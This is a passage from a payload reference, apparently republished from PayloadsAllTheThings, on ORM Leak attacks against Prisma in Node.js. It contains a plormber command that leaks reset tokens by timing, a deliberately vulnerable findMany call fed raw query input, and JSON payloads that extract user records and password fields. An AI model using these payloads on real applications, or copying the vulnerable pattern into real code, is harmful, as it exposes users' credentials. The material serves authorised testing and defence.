ORM Leak · passage 8 of 12

Prisma (Node.JS)

3 code blocks · ORM Leak/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

**Tools**: * [elttam/plormber](https://github.com/elttam/plormber) - tool for exploiting ORM Leak time-based vulnerabilities ```ps1 plormber prisma-contains \ --chars '0123456789abcdef' \ --base-query-json '{"query": {PAYLOAD}}' \ --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \ --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \ --verbose-stats \ https://some.vuln.app/articles/time-based; ``` **Example**: Example of an ORM leak in Node.JS with Prisma.

const posts = await prisma.article.findMany({
  where: req.query.filter as any // Vulnerable to ORM Leaks
})

Use the include to return all the fields of user records that have created an article

{
  "filter": {
    "include": {
      "createdBy": true
    }
  }
}

Select only one field

{
  "filter": {
    "select": {
      "createdBy": {
        "select": {
          "password": true
        }
      }
    }
  }
}

Every one of the 12 is a mark on the map. Named now: 1 to 12, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.